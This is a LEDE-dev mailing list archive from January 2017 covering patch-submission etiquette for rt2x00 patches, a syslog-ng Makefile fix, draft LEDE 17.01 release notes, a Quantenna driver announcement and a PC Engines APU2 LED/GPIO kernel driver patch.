> > Author) to myself or having most mails eaten by anti-spam measures
> > due
> > to non-matching SPF which prohibits my SMTP to send mail on behalf of
> > the original authors of the patches.
> > 
> 
> This is completely untrue. If the first line of the *body* of the email
> is "From: ..." then this is preserved as the author information by git
> am, and doing so is also the default in git format-patch/send-email
> when the author doesn't match the email configuration.

Thanks for the clarification, I'll then submit the patches via
git format-patch.

Cheers

Daniel


From chunkeey at googlemail.com  Fri Jan 13 13:22:49 2017
From: chunkeey at googlemail.com (Christian Lamparter)
Date: Fri, 13 Jan 2017 22:22:49 +0100
Subject: [RFC] [PULL REQUEST] rt2x00 patches from OpenWrt.org
In-Reply-To: <20170113154629.GG2332@makrotopia.org>
References: <20170113035020.GA9063@makrotopia.org>
 <87tw93i6e7.fsf@purkki.adurom.net> <20170113154629.GG2332@makrotopia.org>
Message-ID: <3737186.dsyT6cYTFQ@debian64>

On Friday, January 13, 2017 4:46:30 PM CET Daniel Golle wrote:
> On Fri, Jan 13, 2017 at 12:46:56PM +0200, Kalle Valo wrote:
> > Daniel Golle <daniel at makrotopia.org> writes:
> > > ...
> > > Please review and comment, so we can get those patches merged!
> > 
> > No pull requests, please. Instead send these as patches, easier to
> > review and actually also easier for me to merge.
> 
> The advantage of pull requests is that author information can be
> preserved more easily. Running git format-patch results in most patches
> having wrong SMTP sender information due to the assumption that the
> patch author is the same person also submitting the patch.
> So in practise, this would either require changing the From: (and thus
> Author) to myself or having most mails eaten by anti-spam measures due
> to non-matching SPF which prohibits my SMTP to send mail on behalf of
> the original authors of the patches.
> 
> How do you suggest to handle this situation?
> 
>From what I know, git format-patch and send-email [0] will add a second
FROM: in the email's body with the author of the commit automatically
(if author isn't you). This is what it did, when I posted the apm821xx
patches on lede-dev [1] (Look at the additional "FROM: Chris Blake ..."
line in these patches. Whereas the mail came from my address).

The MTA (MDA, ...) will use the first FROM: (your address) whereas git will
use the FROM in the mail body (so the patch will be correctly attributed to
the original patch author). If you don't want to bother the original
authors, you can look at the --suppress-cc=author option and enable --dry-run
on git send-email.

I would say, just give it a "dry".
(Sadly, I didn't find any documentation for this feature.
But I know it worked back then and it should be fine with SPF.)

Regards,
Christian

[0] <https://git-scm.com/docs/git-send-email>
[1] <http://lists.infradead.org/pipermail/lede-dev/2016-July/001865.html>


From daniel at makrotopia.org  Fri Jan 13 14:17:01 2017
From: daniel at makrotopia.org (Daniel Golle)
Date: Fri, 13 Jan 2017 23:17:01 +0100
Subject: [LEDE-DEV] [OpenWrt-Devel] [RFC] [PULL REQUEST] rt2x00 patches
 from OpenWrt.org
In-Reply-To: <20170113161722.GH2332@makrotopia.org>
References: <20170113035020.GA9063@makrotopia.org>
 <87tw93i6e7.fsf@purkki.adurom.net>
 <20170113154629.GG2332@makrotopia.org>
 <1484323199.8670.5.camel@sipsolutions.net>
 <20170113161722.GH2332@makrotopia.org>
Message-ID: <20170113221700.GB32160@makrotopia.org>

On Fri, Jan 13, 2017 at 05:17:23PM +0100, Daniel Golle wrote:
> On Fri, Jan 13, 2017 at 04:59:59PM +0100, Johannes Berg wrote:
> > 
> > > The advantage of pull requests is that author information can be
> > > preserved more easily. Running git format-patch results in most
> > > patches
> > > having wrong SMTP sender information due to the assumption that the
> > > patch author is the same person also submitting the patch.
> > > So in practise, this would either require changing the From: (and
> > > thus
> > > Author) to myself or having most mails eaten by anti-spam measures
> > > due
> > > to non-matching SPF which prohibits my SMTP to send mail on behalf of
> > > the original authors of the patches.
> > > 
> > 
> > This is completely untrue. If the first line of the *body* of the email
> > is "From: ..." then this is preserved as the author information by git
> > am, and doing so is also the default in git format-patch/send-email
> > when the author doesn't match the email configuration.
> 
> Thanks for the clarification, I'll then submit the patches via
> git format-patch.

I posted all patches on the mailing list and bundled them up on
patchwork.
https://patchwork.kernel.org/bundle/dangole/rt2x00-from-openwrt/

Cheers


Daniel


From kvalo at codeaurora.org  Sat Jan 14 08:48:25 2017
From: kvalo at codeaurora.org (Kalle Valo)
Date: Sat, 14 Jan 2017 18:48:25 +0200
Subject: [LEDE-DEV] [RFC] [PULL REQUEST] rt2x00 patches from OpenWrt.org
In-Reply-To: <20170113141554.GA8018@redhat.com> (Stanislaw Gruszka's message
 of "Fri, 13 Jan 2017 15:15:55 +0100")
References: <20170113035020.GA9063@makrotopia.org>
 <20170113141554.GA8018@redhat.com>
Message-ID: <87eg05io4m.fsf@purkki.adurom.net>

Stanislaw Gruszka <sgruszka at redhat.com> writes:

> Hi
>
> On Fri, Jan 13, 2017 at 04:50:32AM +0100, Daniel Golle wrote:
>> Please review and comment, so we can get those patches merged!
>
> As already pointed by Kalle posting patches to mailing list is better
> way for review. Posing patches is easy with git-format-patch and
> git-send-email. Ideally patch series should not be long, let say no more
> than 30 patches - I suggest to split this into two series: second one
> for RT3853 support and first one for other patches.

Even 30 patches in a set is quite a lot. I think the pain point is
somewhere about 10-12 patches, anything longer than that and most people
lost interest looking at the patches in detail.

-- 
Kalle Valo


From patrick.martin.r at gmail.com  Wed Jan 18 04:26:41 2017
From: patrick.martin.r at gmail.com (Patrick Martin)
Date: Wed, 18 Jan 2017 04:26:41 -0800
Subject: [LEDE-DEV] OpenWRT Quantenna radio driver for Netgear Nighthawk X4
 R7500 (Testedon Designated Driver r49274)
Message-ID: <CAN_rxo0q-+JWM5WE-MWzL2P-R9dtaSAUMrCga7FQxmRvNgqhAg@mail.gmail.com>

Here?s the driver, it?s taken me about 3 and a half months of work
every weekend to figure out how this card works and how to initialize
it.



Screenshots of it on Designated Driver r48274:
http://imgur.com/a/PYRvM



Quantenna folder in the archive contains source, Package folder should
be copied into the openwrt/lede build environment; Standard stuff.


Patrick
-------------- next part --------------
A non-text attachment was scrubbed...
Name: openwrt_quantenna_driver_source.tar.xz
Type: application/octet-stream
Size: 4965860 bytes
Desc: not available
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170118/8efb7b52/attachment-0001.obj>

From philipp_subx at redfish-solutions.com  Wed Jan 18 09:54:38 2017
From: philipp_subx at redfish-solutions.com (Philip Prindeville)
Date: Wed, 18 Jan 2017 10:54:38 -0700
Subject: [LEDE-DEV] Syslog-ng Makefile typo
In-Reply-To: <6803b0ec-ef6b-2968-758d-50920dc7974e@gmail.com>
References: <b776cb38-f2f6-145d-00bd-356bfd681300@gmail.com>
 <0366D25C-43EA-4A33-9DE8-3736FEA9E88D@redfish-solutions.com>
 <369CA702-52B0-4323-BB33-1298CF8A143C@redfish-solutions.com>
 <6803b0ec-ef6b-2968-758d-50920dc7974e@gmail.com>
Message-ID: <C7E4A35F-7126-4064-896C-52CA4AF9D11F@redfish-solutions.com>

I was going to submit a fix myself but while you?re making changes...

One thing I did notice is that MUSL does openlog() as a DGRAM socket, but syslog-ng currently opens a STREAM socket (in files/syslog-ng.conf).  Can you please change the unix-stream() to unix-gram() instead?

Thanks.



> On Jan 18, 2017, at 12:35 AM, Milan Ko?vara <milankocvara at gmail.com> wrote:
> 
> Hello,
> 
> Sorry for miss and late. Changes bellow. I do not found any other "depracated" function. One question about klogd and syslog-ng kernel messagess. On Linux, the klogd daemon can be used in addition to syslog-ng to read kernel messages and forward them to syslog-ng. klogd used to preprocess kernel messages to resolve symbols and so on, but as this is deprecated by ksymoops there is really no point in running both klogd and syslog-ng in parallel. Also note that running two processes reading /proc/kmsg at the same time might result in dead-locks. < Taken from manpage of syslog-ng. In LEDE/OpenWRT is klogd part of busybox in default.
> 
> Thanks
> 
> 
> --- syslog-ng.conf-orig 2017-01-18 07:36:35.941285583 +0100
> +++ syslog-ng.conf      2017-01-18 08:30:30.416247478 +0100
> @@ -1,4 +1,4 @@
> - at version:3.8
> + at version:3.9
> 
> options {
>        chain_hostnames(no);
> 
> Dne 17.1.2017 v 19:40 Philip Prindeville napsal(a):
>> Actually, I take that back.
>> 
>> Milan, can you please update the top line of files/syslog-ng.conf also?  It needs to read ?3.9? instead (assuming there aren?t any syntactic constructs in that file that are now deprecated from 3.8 to 3.9? if there were, the file would need to be updated as well? like when the log_prefix() filter criteria got replaced by program()).
>> 
>> Thanks
>> 
>> 
>>> On Jan 16, 2017, at 1:45 PM, Philip Prindeville <philipp_subx at redfish-solutions.com> wrote:
>>> 
>>> Looks good to me.
>>> 
>>> 
>>>> On Jan 16, 2017, at 4:24 AM, Milan Ko?vara <milankocvara at gmail.com> wrote:
>>>> 
>>>> Hello.
>>>> I found typo in syslog-ng makefile.
>>>> 
>>>> I've upgraded to the newest version and I've made correction of the typo. Patch bellow.
>>>> 
>>>> Sorry for bad format of everything. I did it never :)
>>>> 
>>>> --- Makefile-orig       2017-01-16 12:06:44.367684776 +0100
>>>> +++ Makefile~   2017-01-16 12:22:47.198478933 +0100
>>>> @@ -1,14 +1,14 @@
>>>> include  $(TOPDIR)/rules.mk
>>>> 
>>>> PKG_NAME:=syslog-ng
>>>> -PKG_VERSION:=3.8.1
>>>> -PKG_RELEASE:=3
>>>> +PKG_VERSION:=3.9.1
>>>> +PKG_RELEASE:=1
>>>> 
>>>> PKG_MAINTAINER:=W. Michael Petullo <mike at flyn.org>
>>>> 
>>>> PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.gz
>>>> PKG_SOURCE_URL:=https://github.com/balabit/syslog-ng/releases/download/$(PKG_NAME)-$(PKG_VERSION)/
>>>> -PKG_MD5SUM:=acf14563cf5ce435db8db35486ce66af
>>>> +PKG_MD5SUM:=1b48da9ef620cf06e55e481b5abb677a
>>>> 
>>>> PKG_INSTALL:=1
>>>> 
>>>> @@ -41,7 +41,7 @@
>>>> CONFIGURE_ARGS += \
>>>>  $(call autoconf_bool,CONFIG_IPV6,ipv6) \
>>>>         --disable-dependency-tracking \
>>>> -         --disable-ampq \
>>>> +         --disable-amqp \
>>>>         --disable-tcp-wrapper \
>>>>         --disable-glibtest \
>>>>         --disable-mongodb \
>>> 
>>> _______________________________________________
>>> Lede-dev mailing list
>>> Lede-dev at lists.infradead.org
>>> http://lists.infradead.org/mailman/listinfo/lede-dev
> 



From richb.hanover at gmail.com  Wed Jan 18 11:17:39 2017
From: richb.hanover at gmail.com (Rich Brown)
Date: Wed, 18 Jan 2017 14:17:39 -0500
Subject: [LEDE-DEV] LEDE 17.01 branched/Release Notes improving
In-Reply-To: <42c7b563-e741-97b4-b312-cf85566f8d63@mein.io>
References: <42c7b563-e741-97b4-b312-cf85566f8d63@mein.io>
Message-ID: <03044464-7699-4931-8A74-662630F32823@gmail.com>


> On Jan 16, 2017, at 1:37 PM, Jo-Philipp Wich <jo at mein.io> wrote:
> 
> this is just a heads-up to inform you that LEDE master has been branched
> into a new branch "lede-17.01" now.

Thanks to everyone who has contributed to the Release Notes. Here's the current state: If you think something's missing, please go to the site and update this page: https://lede-project.org/playground/draft-release-notes 

Thanks!

Rich
---------------------------------------------------------------

LEDE 17.xx First Stable Release - MMM 2017

     _________
    /        /\      _    ___ ___  ___
   /  LE    /  \    | |  | __|   \| __|
  /    DE  /    \   | |__| _|| |) | _|
 /________/  LE  \  |____|___|___/|___|                      lede-project.org
 \        \   DE /
  \    LE  \    /  -----------------------------------------------------------
   \  DE    \  /    Reboot (HEAD, rxxxxx)
    \________\/    -----------------------------------------------------------

THIS IS A DRAFT. PLEASE MAKE IT BETTER.
The LEDE Project (?Linux Embedded Development Environment?) is a Linux operating system based on OpenWrt. It is a complete replacement for the vendor-supplied firmware of a wide range of wireless routers and non-network devices. See the Table of Hardware for supported devices. For more information about LEDE Project organization, see the About LEDE pages.

Get LEDE Firmware at: http://downloads.lede-project.org/

Highlights In LEDE 17.xx

The LEDE Community is proud to announce the first stable release of LEDE 17.xx. It incorporates thousands of commits over the last nine months of effort. With this release, the LEDE development team closes out an intense effort to modernize many parts of OpenWrt and incorporate many new modules, packages, and technologies. These are some of the highlights compared to OpenWrt Chaos Calmer:

Would it be possible to include a ?More?? link for some/most of these features? People love to read more about the work that has been done. See the SQM item (below) for an example.

	? Linux kernel updated to version 4.4.42
	? Improved Security Features
		? Memory Corruption Mitigation Methods
			? gcc -Wformat -Wformat-security
			? User space Stack-Smashing Protection (Regular)
			? Kernel space Stack-Smashing Protection (Regular)
			? buffer-overflows detection (FORTIFY_SOURCE) (Conservative)
			? RELRO protection (Full)
		? ?
	? Improved Networking Support
		? Smart Queue Management (SQM) minimizes bufferbloat by using the cake and fq_codel qdisc's. More...
		? Improvements to the WiFi stack eliminating bufferbloat on ath9k (and some ath10k) chipsets
		? ?
	? Improved Performance
		? ?
	? Updated toolchain
		? musl 1.1.15
		? gcc 5.4.0
		? binutils 2.25.1
	? Platform and Driver Support
		? Lantiq
			? Added redistributable DSL firmware
			? Updated DSL phy drivers
		? Added new targets:
			? apm821xx (AppliedMicro APM821xx)
			? arc770 (Synopsys DesignWare ARC 770D)
			? archs38 (Synopsys DesignWare ARC HS38)
			? armvirt (QEMU ARM Virtual Machine)
			? ipq806x (Qualcomm Atheros IPQ806X)
			? layerscape (NXP Layerscape)
			? zynq (Xilinx Zynq 7000 SoCs)
		? ?
	? New build system supports easier branches and ???
		? Building different root file systems for different devices at once
	? Added support for a many new routers and boards
	? And lots and lots of other advancements?
As always, a big thank you goes to all our active package maintainers, testers, documenters, and supporters.

Have fun!

The LEDE Community

From philipp_subx at redfish-solutions.com  Wed Jan 18 11:21:17 2017
From: philipp_subx at redfish-solutions.com (Philip Prindeville)
Date: Wed, 18 Jan 2017 12:21:17 -0700
Subject: [LEDE-DEV] Syslog-ng Makefile typo
In-Reply-To: <a7177f95-9e0c-20af-e7b2-0b5f7cc40bcb@phrozen.org>
References: <b776cb38-f2f6-145d-00bd-356bfd681300@gmail.com>
 <a7177f95-9e0c-20af-e7b2-0b5f7cc40bcb@phrozen.org>
Message-ID: <85D29624-1F86-4B9D-B4C5-0F29B65D1C15@redfish-solutions.com>

You can also add:

Reviewed-by: Philip Prindeville <philipp at redfish-solutions.com>

regarding the unix-stream() vs. unix-dgram(), here?s a bug from Debian (which also uses syslog-ng):

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=384802


> On Jan 18, 2017, at 12:39 AM, John Crispin <john at phrozen.org> wrote:
> 
> Hi,
> 
> although the content of the patch looks good the format is incorrect.
> you really want to generate the patch using git and then use git
> format-patch/send-email to export and mail it. we cannot merge it in
> this format i am afraid. please also make sure to add a Signed-off-by line
> 
> 	John
> 
> On 16/01/2017 12:24, Milan Ko?vara wrote:
>> Hello.
>> I found typo in syslog-ng makefile.
>> 
>> I've upgraded to the newest version and I've made correction of the
>> typo. Patch bellow.
>> 
>> Sorry for bad format of everything. I did it never :)
>> 
>> --- Makefile-orig       2017-01-16 12:06:44.367684776 +0100
>> +++ Makefile~   2017-01-16 12:22:47.198478933 +0100
>> @@ -1,14 +1,14 @@
>> include  $(TOPDIR)/rules.mk
>> 
>> PKG_NAME:=syslog-ng
>> -PKG_VERSION:=3.8.1
>> -PKG_RELEASE:=3
>> +PKG_VERSION:=3.9.1
>> +PKG_RELEASE:=1
>> 
>> PKG_MAINTAINER:=W. Michael Petullo <mike at flyn.org>
>> 
>> PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.gz
>> 
>> PKG_SOURCE_URL:=https://github.com/balabit/syslog-ng/releases/download/$(PKG_NAME)-$(PKG_VERSION)/
>> 
>> -PKG_MD5SUM:=acf14563cf5ce435db8db35486ce66af
>> +PKG_MD5SUM:=1b48da9ef620cf06e55e481b5abb677a
>> 
>> PKG_INSTALL:=1
>> 
>> @@ -41,7 +41,7 @@
>> CONFIGURE_ARGS += \
>>   $(call autoconf_bool,CONFIG_IPV6,ipv6) \
>>          --disable-dependency-tracking \
>> -         --disable-ampq \
>> +         --disable-amqp \
>>          --disable-tcp-wrapper \
>>          --disable-glibtest \
>>          --disable-mongodb \
>> 
>> _______________________________________________
>> Lede-dev mailing list
>> Lede-dev at lists.infradead.org
>> http://lists.infradead.org/mailman/listinfo/lede-dev
> 
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev



From philipp_subx at redfish-solutions.com  Wed Jan 18 11:23:50 2017
From: philipp_subx at redfish-solutions.com (Philip Prindeville)
Date: Wed, 18 Jan 2017 12:23:50 -0700
Subject: [LEDE-DEV] [PATCH 4/4] x86: Add APU2 LED Driver
In-Reply-To: <1484410827-30973-4-git-send-email-chrisrblake93@gmail.com>
References: <1484410827-30973-1-git-send-email-chrisrblake93@gmail.com>
 <1484410827-30973-4-git-send-email-chrisrblake93@gmail.com>
Message-ID: <3FA6B9B0-B21E-49C4-90BE-554AF0ACD0C0@redfish-solutions.com>


> On Jan 14, 2017, at 9:20 AM, Chris Blake <chrisrblake93 at gmail.com> wrote:
> 
> The following patch adds LED support for the PC Engines APU2/APU3 board
> on LEDE.
> 
> Signed-off-by: Chris Blake <chrisrblake93 at gmail.com>
> ---
> target/linux/x86/64/config-default                 |   2 +
> target/linux/x86/files/drivers/leds/leds-apu2.c    | 374 +++++++++++++++++++++
> .../x86/patches-4.4/800-add-apu2-led-driver.patch  |  30 ++
> 3 files changed, 406 insertions(+)
> create mode 100644 target/linux/x86/files/drivers/leds/leds-apu2.c
> create mode 100644 target/linux/x86/patches-4.4/800-add-apu2-led-driver.patch
> 
> diff --git a/target/linux/x86/64/config-default b/target/linux/x86/64/config-default
> index d2e2774..5657832 100644
> --- a/target/linux/x86/64/config-default
> +++ b/target/linux/x86/64/config-default
> @@ -170,6 +170,8 @@ CONFIG_ITCO_WDT=y
> # CONFIG_KVM_DEBUG_FS is not set
> CONFIG_KVM_GUEST=y
> # CONFIG_LCD_CLASS_DEVICE is not set
> +CONFIG_LEDS_APU2=y
> +CONFIG_LEDS_GPIO=y
> # CONFIG_LEGACY_VSYSCALL_EMULATE is not set
> # CONFIG_LEGACY_VSYSCALL_NATIVE is not set
> CONFIG_LEGACY_VSYSCALL_NONE=y
> diff --git a/target/linux/x86/files/drivers/leds/leds-apu2.c b/target/linux/x86/files/drivers/leds/leds-apu2.c
> new file mode 100644
> index 0000000..8da8a2d
> --- /dev/null
> +++ b/target/linux/x86/files/drivers/leds/leds-apu2.c
> @@ -0,0 +1,374 @@
> +/*
> + *  APU2 LED/GPIO Driver
> + *  Copyright (c) 2016 Christian Lamparter <chunkeey (at) googlemail.com>
> + *
> + *  Based on gpio-apu2.c - AMD FCH GPIO support for PC-Engines APU-2 board
> + *
> + *  Copyright (c) 2015  Carsten Spiess <fli4l at carsten-spiess.de>
> + *
> + *  This program is free software; you can redistribute it and/or modify
> + *  it under the terms of the GNU General Public License as published by
> + *  the Free Software Foundation; either version 2 of the License, or
> + *  (at your option) any later version.
> + *
> + *  This program is distributed in the hope that it will be useful,
> + *  but WITHOUT ANY WARRANTY; without even the implied warranty of
> + *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
> + *  GNU General Public License for more details.
> + *
> + *  You should have received a copy of the GNU General Public License
> + *  along with this program; if not, write to the Free Software
> + *  Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
> + */
> +
> + #include <linux/module.h>
> + #include <linux/types.h>
> + #include <linux/miscdevice.h>
> + #include <linux/gpio.h>
> + #include <linux/init.h>
> + #include <linux/pci.h>
> + #include <linux/ioport.h>
> + #include <linux/platform_device.h>
> + #include <linux/uaccess.h>
> + #include <linux/io.h>
> + #include <linux/version.h>
> + #include <linux/dmi.h>
> + #include <linux/string.h>
> +
> + #include <linux/leds.h>
> + #include <linux/input.h>
> + #include <linux/gpio_keys.h>
> +
> + #define DEVNAME                 "leds-apu2"
> +
> + #define FCH_ACPI_MMIO_BASE      0xFED80000
> + #define FCH_GPIO_BASE           (FCH_ACPI_MMIO_BASE + 0x1500)
> + #define FCH_GPIO_SIZE           0x300
> +
> + #define APU_NUM_GPIO            4
> +
> + #define GPIO_BIT_DIR            23
> + #define GPIO_BIT_WRITE          22
> + #define GPIO_BIT_READ           16
> +
> + /* internal variables */
> + static struct pci_dev *gpio_apu2_pci;
> + static DEFINE_SPINLOCK (gpio_lock);
> +
> + /* the watchdog platform device */
> + static struct platform_device *gpio_apu2_platform_device;
> + static struct platform_device *leddev;
> + static struct platform_device *keydev;
> +
> + static const struct pci_device_id gpio_apu2_pci_tbl[] ={
> + 	{PCI_VENDOR_ID_AMD, PCI_DEVICE_ID_AMD_HUDSON2_SMBUS, PCI_ANY_ID, PCI_ANY_ID},
> + 	{ 0, } /* End of list */
> + };
> + MODULE_DEVICE_TABLE (pci, gpio_apu2_pci_tbl);
> +
> + /* EGPIO89=GPIO32, AGPIO68=GPIO57, AGPIO69=GPIO58, AGPIO70=GPIO59 */
> + static u8 gpio_offset[APU_NUM_GPIO] = {89, 68, 69, 70};
> +
> + static void __iomem *gpio_addr[APU_NUM_GPIO] = {NULL, NULL, NULL, NULL};
> +
> + static int gpio_apu2_get_dir (struct gpio_chip *chip, unsigned offset)
> + {
> + 	u32 val;
> +
> + 	val = ~ioread32 (gpio_addr[offset]);
> +
> + 	return (val >> GPIO_BIT_DIR) & 1;
> + }
> +
> + static int gpio_apu2_dir_in (struct gpio_chip *gc, unsigned offset)
> + {
> + 	u32 val;
> +
> + 	spin_lock_bh (&gpio_lock);
> +
> + 	val = ioread32 (gpio_addr[offset]);
> + 	val &= ~BIT(GPIO_BIT_DIR);
> + 	iowrite32 (val, gpio_addr[offset]);
> +
> + 	spin_unlock_bh (&gpio_lock);
> +
> + 	return 0;
> + }
> +
> + static int gpio_apu2_dir_out (struct gpio_chip *chip, unsigned offset,
> + 		int value)
> + {
> + 	u32 val;
> +
> + 	spin_lock_bh (&gpio_lock);
> +
> + 	val = ioread32 (gpio_addr[offset]);
> + 	val |= BIT(GPIO_BIT_DIR);
> + 	iowrite32 (val, gpio_addr[offset]);
> +
> + 	spin_unlock_bh (&gpio_lock);
> +
> + 	return 0;
> + }
> +
> + static int gpio_apu2_get_data (struct gpio_chip *chip, unsigned offset)
> + {
> + 	u32 val;
> +
> + 	val = ioread32 (gpio_addr[offset]);
> +
> + 	return (val >> GPIO_BIT_READ) & 1;
> + }
> +
> + static void gpio_apu2_set_data (struct gpio_chip *chip, unsigned offset, int value)
> + {
> + 	u32 val;
> +
> + 	spin_lock_bh (&gpio_lock);
> +
> + 	val = ioread32 (gpio_addr[offset]);
> +
> + 	if (value)
> + 		val |= BIT(GPIO_BIT_WRITE);
> + 	else
> + 		val &= ~BIT(GPIO_BIT_WRITE);
> +
> + 	iowrite32 (val, gpio_addr[offset]);
> +
> + 	spin_unlock_bh (&gpio_lock);
> + }
> +
> + static struct gpio_chip gpio_apu2_chip = {
> + 	.label = DEVNAME,
> + 	.owner = THIS_MODULE,
> + 	.base = -1,
> + 	.ngpio = APU_NUM_GPIO,
> + 	.get_direction = gpio_apu2_get_dir,
> + 	.direction_input = gpio_apu2_dir_in,
> + 	.direction_output = gpio_apu2_dir_out,
> + 	.get = gpio_apu2_get_data,
> + 	.set = gpio_apu2_set_data,
> + };
> +
> + /*
> +  *
> +  */
> + static int gpio_apu2_probe (struct platform_device *dev)
> + {
> + 	int ret = 0;
> + 	int i;
> + 	struct pci_dev *pci_dev = NULL;
> +
> + 	/* Match the PCI device */
> + 	for_each_pci_dev (pci_dev) {
> + 		if (pci_match_id (gpio_apu2_pci_tbl, pci_dev) != NULL) {
> + 			gpio_apu2_pci = pci_dev;
> + 			break;
> + 		}
> + 	}
> +
> + 	if (!gpio_apu2_pci)
> + 		return -ENODEV;
> +
> + 	pr_info ("%s: PCI Revision ID: 0x%x\n", DEVNAME, gpio_apu2_pci->revision);
> +
> + 	/* Determine type of southbridge chipset */
> + 	if (gpio_apu2_pci->revision < 0x40) {
> + 		return -EACCES;
> + 	}
> +
> + 	/* Request memory region for GPIO's */
> + 	if (!devm_request_mem_region (&dev->dev, FCH_GPIO_BASE,
> + 		FCH_GPIO_SIZE, DEVNAME)){
> + 		pr_err ("%s: request GPIO mem region failed\n", DEVNAME);
> + 		return -ENXIO;
> + 	}
> +
> + 	/* Map IO's for GPIO's */
> + 	for (i = 0; i < APU_NUM_GPIO; i++) {
> + 		gpio_addr[i] = devm_ioremap (&dev->dev,
> + 			FCH_GPIO_BASE + (gpio_offset[i] * sizeof (u32)), sizeof (u32));
> + 		if (!gpio_addr[i]) {
> + 			pr_err ("%s: map GPIO%d address failed\n", DEVNAME, gpio_offset[i]);
> + 			return -ENXIO;
> + 		}
> + 	}
> +
> + 	gpio_apu2_chip.dev = &dev->dev;
> + 	ret = gpiochip_add (&gpio_apu2_chip);
> + 	if (ret) {
> + 		pr_err ("%s: adding gpiochip failed\n", DEVNAME);
> + 	}
> +
> + 	return ret;
> + }
> +
> + static int gpio_apu2_remove (struct platform_device *dev)
> + {
> + #if LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0)
> + 	int ret;
> + 	ret = gpiochip_remove (&gpio_apu2_chip);
> + #else /* LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0) */
> + 	gpiochip_remove (&gpio_apu2_chip);
> + #endif /* LINUX_VERSION_CODE < KERNEL_VERSION(3,18,0) */
> + 	return 0;
> + }
> +
> + static struct platform_driver gpio_apu2_driver = {
> + 	.probe = gpio_apu2_probe,
> + 	.remove = gpio_apu2_remove,
> + 	.driver = {
> + 		.owner = THIS_MODULE,
> + 		.name = DEVNAME
> + 	}
> + };
> +
> + static struct gpio_led apu2_leds_gpio[] = {
> +         {
> +                 .name           = "apu2:green:power",
> +                 .gpio           = 509,
> +                 .active_low     = 1,
> +         },
> +         {
> +                 .name           = "apu2:green:led2",
> +                 .gpio           = 510,
> +                 .active_low     = 1,
> +         },
> +         {
> +                 .name           = "apu2:green:led3",
> +                 .gpio           = 511,
> +                 .active_low     = 1,
> +         },
> + };
> +
> + static struct gpio_keys_button apu2_gpio_keys[] = {
> + 	{
> + 		.desc           = "Reset button",
> + 		.type           = EV_KEY,
> + 		.code           = KEY_RESTART,
> + 		.debounce_interval = 60,
> + 		.gpio           = 508,
> + 		.active_low     = 1,
> + 	},
> + };
> +
> + static void register_gpio_keys_polled(int id, unsigned poll_interval,
> + 				      unsigned nbuttons,
> + 				      struct gpio_keys_button *buttons)
> + {
> + 	struct gpio_keys_platform_data pdata = { };
> + 	int err;
> +
> + 	keydev = platform_device_alloc("gpio-keys-polled", id);
> + 	if (!keydev) {
> + 		printk(KERN_ERR "Failed to allocate gpio-keys platform device\n");
> + 		return;
> + 	}
> +
> + 	pdata.poll_interval = poll_interval;
> + 	pdata.nbuttons = nbuttons;
> + 	pdata.buttons = buttons;
> +
> + 	err = platform_device_add_data(keydev, &pdata, sizeof(pdata));
> + 	if (err) {
> + 		dev_err(&keydev->dev, "failed to add platform data to key driver (%d)", err);
> + 		goto err_put_pdev;
> + 	}
> +
> + 	err = platform_device_add(keydev);
> + 	if (err) {
> + 		dev_err(&keydev->dev, "failed to register key platform device (%d)", err);
> + 		goto err_put_pdev;
> + 	}
> +
> + 	return;
> +
> + err_put_pdev:
> + 	platform_device_put(keydev);
> + 	keydev = NULL;
> + }
> +
> + static void register_leds_gpio(int id, unsigned num_leds, struct gpio_led *leds)
> + {
> + 	struct gpio_led_platform_data pdata = { };
> + 	int err;
> +
> + 	leddev = platform_device_alloc("leds-gpio", id);
> + 	if (!leddev) {
> + 		printk(KERN_ERR "Failed to allocate leds-gpio platform device\n");
> + 		return;
> + 	}
> +
> + 	pdata.num_leds = num_leds;
> + 	pdata.leds = leds;
> +
> + 	err = platform_device_add_data(leddev, &pdata, sizeof(pdata));
> + 	if (err) {
> + 		dev_err(&leddev->dev, "failed to add platform data to key driver (%d)", err);
> + 		goto err_put_pdev;
> + 	}
> +
> + 	err = platform_device_add(leddev);
> + 	if (err) {
> + 		dev_err(&leddev->dev, "failed to register key platform device (%d)", err);
> + 		goto err_put_pdev;
> + 	}
> +
> + 	return;
> +
> + err_put_pdev:
> + 	platform_device_put(leddev);
> + 	leddev = NULL;
> + }
> +
> + static int __init gpio_apu2_init (void)
> + {
> + 	int err;
> +	const char *board_vendor = dmi_get_system_info(DMI_BOARD_VENDOR);
> +	const char *board_name = dmi_get_system_info(DMI_BOARD_NAME);
> +
> + 	/* Match the device name/model */
> +	if (!board_name || !board_vendor || strcasecmp(board_vendor, "PC Engines") || strcasecmp(board_name, "apu2")) {
> +		err = -ENODEV;
> +		goto exit;
> +	}
> +
> +	pr_info ("%s: load APU2/LED GPIO driver module\n", DEVNAME);
> +
> + 	err = platform_driver_register (&gpio_apu2_driver);
> + 	if (err)
> + 		goto exit;
> +
> + 	gpio_apu2_platform_device = platform_device_register_simple (DEVNAME, -1, NULL, 0);
> + 	if (IS_ERR(gpio_apu2_platform_device)) {
> + 		err = PTR_ERR(gpio_apu2_platform_device);
> + 		goto exit_driver;
> + 	}
> +
> + 	pr_info ("%s: APU2 GPIO/LED driver module loaded\n", DEVNAME);
> +
> + 	register_leds_gpio(-1, ARRAY_SIZE(apu2_leds_gpio), apu2_leds_gpio);
> + 	register_gpio_keys_polled(-1, 20, ARRAY_SIZE(apu2_gpio_keys), apu2_gpio_keys);
> + 	return 0;
> +
> + exit_driver:
> + 	platform_driver_unregister (&gpio_apu2_driver);
> + exit:
> + 	return err;
> + }
> +
> + static void __exit gpio_apu2_exit (void)
> + {
> + 	platform_device_unregister (gpio_apu2_platform_device);
> + 	platform_device_unregister (leddev);
> + 	platform_device_unregister (keydev);
> + 	platform_driver_unregister (&gpio_apu2_driver);
> + 	pr_info ("%s: APU2 GPIO/LED driver module unloaded\n", DEVNAME);
> + }
> +
> + MODULE_AUTHOR ("Carsten Spiess <fli4l at carsten-spiess.de>");
> + MODULE_DESCRIPTION("GPIO driver for AMD FCH on PC-Engines APU-2");
> + MODULE_LICENSE("GPL");
> +
> + module_init (gpio_apu2_init);
> + module_exit (gpio_apu2_exit);
